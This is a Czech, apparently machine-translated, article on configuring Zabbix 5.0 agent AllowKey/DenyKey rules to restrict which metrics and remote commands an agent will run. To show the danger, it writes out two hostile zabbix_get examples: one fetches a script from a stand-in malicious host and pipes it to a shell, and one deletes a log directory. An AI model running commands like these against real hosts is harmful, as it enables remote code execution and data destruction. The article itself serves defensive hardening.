Podpora pro blacklist a whitelisting pro metriky na straně agenta v Zabbix 5.0

Podpora pro blacklist a whitelisting pro metriky na straně agenta v Zabbix 5.0

Podpora blacklistů a whitelistů pro metriky na straně agentů

Tichon Uskov, integrační inženýr, Zabbix

Problémy se zabezpečením dat

Zabbix 5.0 má novou funkci, která umožňuje zlepšit zabezpečení v systémech využívajících Zabbix Agent a nahrazuje starý parametr EnableRemoteCommands.

Zlepšení zabezpečení systémů založených na agentech pramení ze skutečnosti, že agent může provádět velké množství potenciálně nebezpečných akcí.

  • Agent může shromažďovat téměř jakékoli informace, včetně důvěrných nebo potenciálně nebezpečných informací, z konfiguračních souborů, souborů protokolu, souborů s hesly nebo jakýchkoli jiných souborů.

Například pomocí nástroje zabbix_get získáte přístup k seznamu uživatelů, jejich domovským adresářům, souborům hesel atd.

Podpora pro blacklist a whitelisting pro metriky na straně agenta v Zabbix 5.0

Přístup k datům pomocí nástroje zabbix_get

POZNÁMKA. Data lze načíst pouze v případě, že má agent oprávnění ke čtení příslušného souboru. Ale např. spis /etc/passwd/ čitelné pro všechny uživatele.

  • Agent může také provádět potenciálně nebezpečné příkazy. Například klíč *system.run[]** umožňuje spouštět libovolné vzdálené příkazy na síťových uzlech, včetně spouštění skriptů z webového rozhraní Zabbix, které také provádějí příkazy na straně agenta.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • V systému Linux běží agent ve výchozím nastavení bez oprávnění root, zatímco v systému Windows běží jako služba jako System a má neomezený přístup k systému souborů. Pokud tedy po instalaci nebudou provedeny žádné změny parametrů Zabbix Agenta, bude mít agent přístup k registru, systému souborů a může spouštět dotazy WMI.

V dřívějších verzích parametr EnableRemoteCommands=0 povoleno pouze zakázat metriky pomocí klíče *system.run[]** a spouštění skriptů z webového rozhraní, ale neexistoval způsob, jak omezit přístup k jednotlivým souborům, povolit nebo zakázat jednotlivé klíče, které byly nainstalovány s agentem, nebo omezit použití jednotlivých parametrů.

Podpora pro blacklist a whitelisting pro metriky na straně agenta v Zabbix 5.0

Použití parametru EnableRemoteCommand v dřívějších verzích Zabbix

AllowKey/DenyKey

Zabbix 5.0 pomáhá chránit před takovým neoprávněným přístupem tím, že poskytuje whitelisty a blacklisty pro povolení a zamítnutí metrik na straně agenta.

V Zabbix 5.0 všechny klíče, včetně *system.run[]** jsou povoleny a byly přidány dvě nové možnosti konfigurace agenta:

AllowKey= — povolené kontroly;

DenyKey= — zakázané kontroly;

kde je vzor názvu klíče s parametry, který používá metaznaky (*).

Klávesy AllowKey a DenyKey umožňují povolit nebo zakázat jednotlivé metriky na základě konkrétního vzoru. Na rozdíl od jiných konfiguračních parametrů není počet parametrů AllowKey/DenyKey omezen. To umožňuje jasně definovat, co přesně může agent v systému dělat, a to vytvořením stromu kontrol – spustitelných klíčů, kde velmi důležitou roli hraje pořadí, ve kterém jsou zapsány.

Posloupnost pravidel

Pravidla se kontrolují v pořadí, v jakém jsou zadána do konfiguračního souboru. Klíč je před první shodou zkontrolován podle pravidel a jakmile se klíč datového prvku shoduje se vzorem, je povolen nebo zamítnut. Poté se kontrola pravidel zastaví a zbývající klíče jsou ignorovány.

Pokud tedy prvek odpovídá pravidlu povolení i zákazu, bude výsledek záviset na tom, které pravidlo je v konfiguračním souboru první.

Podpora pro blacklist a whitelisting pro metriky na straně agenta v Zabbix 5.0

2 různá pravidla se stejným vzorem a klíčem vfs.file.size[/tmp/file]

Pořadí použití kláves AllowKey/DenyKey:

  1. přesná pravidla,
  2. hlavní pravidla,
  3. zakazující pravidlo.

Pokud například potřebujete přístup k souborům v určité složce, musíte k nim nejprve povolit přístup a poté zakázat vše ostatní, co nespadá do stanovených oprávnění. Je-li jako první použito pravidlo zakázat, bude přístup ke složce zakázán.

Podpora pro blacklist a whitelisting pro metriky na straně agenta v Zabbix 5.0

Správná sekvence

Pokud potřebujete povolit spuštění 2 nástrojů přes *system.run[]** a pravidlo odmítnutí bude specifikováno jako první, nástroje nebudou spuštěny, protože první vzor bude vždy odpovídat libovolnému klíči a následná pravidla budou ignorována.

Podpora pro blacklist a whitelisting pro metriky na straně agenta v Zabbix 5.0

Nesprávná sekvence

Vzory

Základní pravidla

Vzor je výraz se zástupnými znaky. Metaznak (*) odpovídá libovolnému počtu libovolných znaků na určité pozici. Metaznaky lze použít jak v názvu klíče, tak v parametrech. Můžete například striktně definovat první parametr pomocí textu, a zadejte následující jako zástupný znak.

Parametry musí být uzavřeny v hranatých závorkách [].

  • system.run[* - špatně
  • vfs.file*.txt] - špatně
  • vfs.file.*[*] - že jo

Příklady použití zástupných znaků.

  1. V názvu klíče a v parametru. V tomto případě klíč neodpovídá podobnému klíči, který neobsahuje parametr, protože ve vzoru jsme uvedli, že chceme získat určitou koncovku názvu klíče a určitou sadu parametrů.
  2. Pokud vzor nepoužívá hranaté závorky, vzor povolí všechny klíče, které neobsahují parametry, a zakáže všechny klíče, které obsahují zadaný parametr.
  3. Pokud je klíč zapsán celý a parametry jsou specifikovány jako zástupný znak, bude odpovídat jakémukoli podobnému klíči s libovolnými parametry a nebude odpovídat klíči bez hranatých závorek, tj. bude povolen nebo zakázán.

Podpora pro blacklist a whitelisting pro metriky na straně agenta v Zabbix 5.0

Pravidla pro vyplňování parametrů.

  • Pokud má být použit klíč s parametry, musí být parametry specifikovány v konfiguračním souboru. Parametry musí být zadány jako metaznak. Je nutné pečlivě zakázat přístup k jakémukoli souboru a vzít v úvahu, jaké informace může metrika poskytnout pod různým pravopisem - s parametry a bez nich.

Podpora pro blacklist a whitelisting pro metriky na straně agenta v Zabbix 5.0

Vlastnosti psaní klíčů s parametry

  • Pokud je klíč zadán s parametry, ale parametry jsou volitelné a zadané jako metaznak, bude vyřešen klíč bez parametrů. Chcete-li například zakázat příjem informací o zátěži CPU a určit, že má být deaktivován klíč system.cpu.load[*], nezapomeňte, že klíč bez parametrů vrátí průměrnou hodnotu zatížení.

Podpora pro blacklist a whitelisting pro metriky na straně agenta v Zabbix 5.0

Pravidla pro vyplňování parametrů

Poznámky

Nastavení

  • Některá pravidla nemůže uživatel změnit, například pravidla zjišťování nebo pravidla automatické registrace agentů. Pravidla AllowKey/DenyKey neovlivňují následující parametry:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

POZNÁMKA. Pokud správce zakáže klíč, na dotaz Zabbix neposkytne informace o tom, proč metrika nebo klíč spadá do kategorie 'NENÍ PODPOROVÁNO'. Informace o zákazech provádění vzdálených příkazů se také nezobrazují v souborech protokolu agenta. Je to z bezpečnostních důvodů, ale může to zkomplikovat ladění, pokud metriky z nějakého důvodu spadají do nepodporované kategorie.

  • Při připojování externích konfiguračních souborů byste neměli spoléhat na žádné konkrétní pořadí (například v abecedním pořadí).

Nástroje příkazového řádku

Po nastavení pravidel se musíte ujistit, že je vše správně nakonfigurováno.

Můžete použít jednu ze tří možností:

  • Přidejte metriku do Zabbix.
  • Test s zabbix_agentd. Agent Zabbix s opcí -tisknout (-p) zobrazuje všechny klíče (které jsou standardně povoleny) kromě těch, které nejsou povoleny konfigurací. A s možností -test (-t) protože zakázaný klíč se vrátí 'Nepodporovaný klíč položky".
  • Test s zabbix_get. Utility zabbix_get s opcí -k vrátí se 'ZBX_NOTSUPPORTED: Neznámá metrika".

Povolit nebo zamítnout

Přístup k souboru můžete odepřít a ověřit například pomocí utility zabbix_getže přístup k souboru je odepřen.

Podpora pro blacklist a whitelisting pro metriky na straně agenta v Zabbix 5.0

**

POZNÁMKA. Uvozovky v parametru jsou ignorovány.

V tomto případě může být přístup k takovému souboru povolen přes jinou cestu. Například pokud na něj vede symbolický odkaz.

Podpora pro blacklist a whitelisting pro metriky na straně agenta v Zabbix 5.0

Doporučuje se prověřit různé možnosti uplatnění stanovených pravidel a také vzít v úvahu možnosti obcházení zákazů.

Otázky a odpovědi

otázka. Proč byl k popisu pravidel, povolení a zákazů zvolen tak složitý vzorec s vlastním jazykem? Proč nebylo možné použít například regulární výrazy, které používá Zabbix?

odpověď. Toto je problém s výkonem regulárního výrazu, protože obvykle existuje pouze jeden agent a kontroluje velké množství metrik. Regex je poměrně náročná operace a tímto způsobem nemůžeme zkontrolovat tisíce metrik. Zástupné znaky – univerzální, široce používané a jednoduché řešení.

otázka. Nejsou soubory Zahrnout zahrnuty v abecedním pořadí?

odpověď. Pokud vím, je prakticky nemožné předvídat pořadí, ve kterém budou pravidla aplikována, pokud pravidla rozložíte do různých souborů. Doporučuji shromáždit všechna pravidla AllowKey/DenyKey do jednoho souboru Include, protože se vzájemně ovlivňují, a zahrnout tento soubor.

otázka. V Zabbix 5.0 možnost 'EnableRemoteCommands=' v konfiguračním souboru chybí a jsou k dispozici pouze AllowKey/DenyKey?

Odpovědět. Ano to je správně.

Спасибо за внимание!

Zdroj: www.habr.com

Přidat komentář